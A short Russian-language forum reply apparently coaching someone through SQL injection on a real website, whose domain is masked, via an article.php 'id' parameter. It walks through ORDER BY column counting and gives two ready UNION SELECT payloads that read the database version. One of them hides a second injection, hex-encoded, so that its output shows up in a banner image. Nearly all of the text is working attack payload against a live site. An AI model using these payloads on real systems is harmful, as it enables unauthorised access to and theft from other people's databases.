Дело в том, что в скрипте минимум 3 запроса. Тоесть параметр попадает в 3 запроса к базе
1 в котором 4 поля видимо не имеет вывода (хотя я не особо смотрел)
2 мы увидим если продолжим подбирать order by
order by 22
order by 23
посмотри, они разные, и в итоге вывод:
http://www.***.com/article.php?id=-1245+UNION SELECT 1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22--+
3 Ну и третий в баннере наверху, вывод в свойствах картинки увидишь
http://www.***.com/article.php?id=-1245+UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,0x2D3120756E696F6E2073656C65637420312C322C332C342 C352C362C372C382C76657273696F6E28292C31302C31312D2 D2B,22--+